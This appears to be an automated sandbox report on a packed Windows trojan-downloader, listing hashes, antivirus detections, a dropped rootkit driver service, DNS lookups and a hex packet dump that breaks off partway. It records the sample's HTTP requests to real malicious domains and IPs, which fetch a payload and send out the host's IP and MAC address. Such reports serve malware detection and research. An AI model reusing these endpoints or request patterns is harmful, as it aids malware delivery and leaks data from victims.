Analysis Date2015-10-14 21:40:35
MD51d67c9fab3128261597244f0e642762b
SHA17258bb23885d57f48f6d39abe7b5cc3f06d92669

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
SectionUPX0 md5: d41d8cd98f00b204e9800998ecf8427e sha1: da39a3ee5e6b4b0d3255bfef95601890afd80709 size: 0
SectionUPX1 md5: 2d77f770f3195ae48328210719e852ba sha1: 70c489271ce4bc87185dbe95526b97ac2681a30c size: 70656
Section.rsrc md5: c79722c84ced65d77b6a6d67877a9711 sha1: a77fe466a9078e78e84c15d79f5c97c251a5d36b size: 1536
Timestamp2013-09-16 06:19:09
VersionLegalCopyright:
InternalName:
FileVersion: 1, 0, 3, 916
CompanyName:
PrivateBuild:
LegalTrademarks:
Comments:
ProductName:
SpecialBuild:
ProductVersion: 0, 0, 0, 0
FileDescription:
OriginalFilename:
PackerUPX -> www.upx.sourceforge.net
PEhashebe10d86d7142df0dd8520fc2762dc0b2bfc5c78
IMPhashaf95e8dbe1501e4d5ab6b4f281ac8261
AVRisingno_virus
AVCA (E-Trust Ino)no_virus
AVF-SecureGen:Trojan.Heur.RP.emLfa80ZQ7eb
AVDr. WebTrojan.Carberp.1285
AVClamAVWin.Trojan.Agent-723397
AVArcabit (arcavir)Gen:Trojan.Heur.RP.emLfa80ZQ7eb
AVBullGuardGen:Trojan.Heur.RP.emLfa80ZQ7eb
AVPadvishno_virus
AVVirusBlokAda (vba32)TrojanDropper.Injector
AVCAT (quickheal)Trojan.Rofin.A.mue
AVTrend MicroTROJ_ROFIN.SM
AVKasperskyTrojan-Dropper.Win32.Injector.jqrj
AVZillya!Downloader.Agent.Win32.180746
AVEmsisoftGen:Trojan.Heur.RP.emLfa80ZQ7eb
AVIkarusTrojan-Dropper.Win32.Injector
AVFrisk (f-prot)W32/Injector.A.gen!Eldorado
AVAuthentiumW32/Injector.A.gen!Eldorado
AVMalwareBytesTrojan.Agent.ED
AVMicroWorld (escan)Gen:Trojan.Heur.RP.emLfa80ZQ7eb
AVMicrosoft Security EssentialsTrojan:Win32/Rofin.A
AVK7Trojan ( 004be6d21 )
AVBitDefenderGen:Trojan.Heur.RP.emLfa80ZQ7eb
AVFortinetW32/Injector.JQR!tr
AVSymantecDownloader
AVGrisoft (avg)Generic36.ICZ
AVEset (nod32)Win32/TrojanDownloader.Agent.RFS
AVAlwil (avast)Malware-gen:Win32:Malware-gen
AVAd-AwareGen:Trojan.Heur.RP.emLfa80ZQ7eb
AVTwisterTrojan.306B59FC6949C2A0
AVAvira (antivir)TR/Proxy.Gen
AVMcafeeRDN/Generic.grp!if

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FileSSDTProcess
Creates FileC:\WINDOWS\system32\drivers\HideSys.sys
Creates File\Device\Afd\Endpoint
Creates File\Device\Afd\AsyncConnectHlp
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Creates ServiceEProcess - C:\WINDOWS\system32\drivers\HideSys.sys
Starts ServiceEProcess

Process
↳ Pid 800

Process
↳ Pid 848

Process
↳ C:\WINDOWS\System32\svchost.exe

Process
↳ Pid 1108

Process
↳ Pid 1204

Process
↳ C:\WINDOWS\system32\spoolsv.exe

RegistryHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\BeepEnabled ➝
NULL
RegistryHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\Print\TypesSupported ➝
7
RegistryHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\Printers\SymbolicLinkValue ➝
NULL
RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Print\Printers\DefaultSpoolDirectory ➝
C:\WINDOWS\System32\spool\PRINTERS\\x00

Process
↳ Pid 1856

Process
↳ Pid 1156

Process
↳ C:\WINDOWS\Explorer.EXE

Network Details:

DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNSdownini.com
Type: A
116.255.243.151
DNSinixz.com
Type: A
116.255.243.151
DNSinibin.com
Type: A
116.255.243.151
DNSbindown.com
Type: A
116.255.243.151
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNSplus.zzinfor.cn
Type: A
DNSplus.soomeng.com
Type: A
DNSplus.icafeads.com
Type: A
DNSbindowns.com
Type: A
DNSinidowns.com
Type: A
DNSxzpzwj.com
Type: A
DNSxiazaiini.com
Type: A
DNSxiazaibin.com
Type: A
DNSinidown.com
Type: A
HTTP GEThttp://plus.zzinfor.cn/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/down123.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
Flows TCP192.168.1.1:1031 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1032 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1033 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1034 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1035 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1036 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1037 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1038 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1039 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1040 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1041 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1042 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1043 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1044 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1045 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1046 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1047 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1048 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1049 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1050 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1051 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1052 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1053 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1054 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1055 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1056 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1057 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1058 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1059 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1060 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1061 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1062 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1063 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1064 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1065 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1066 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1067 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1068 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1069 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1070 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1071 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1072 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1073 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1074 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1075 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1076 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1077 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1078 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1079 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1080 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1081 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1082 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1083 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1084 ➝ 116.255.243.151:80

Raw Pcap
0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 7a7a696e 666f722e   t: plus.zzinfor.
0x00000100 (00256)   636e0d0a 436f6e6e 65637469 6f6e3a20   cn..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a                                  ..

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 736f6f6d 656e672e   t: plus.soomeng.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a                                ...

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 69636166 65616473   t: plus.icafeads
0x00000100 (00256)   2e636f6d 0d0a436f 6e6e6563 74696f6e   .com..Connection
0x00000110 (00272)   3a20436c 6f73650d 0a436163 68652d43   : Close..Cache-C
0x00000120 (00288)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2064 6f776e69 6e692e63 6f6d0d0a   t: downini.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
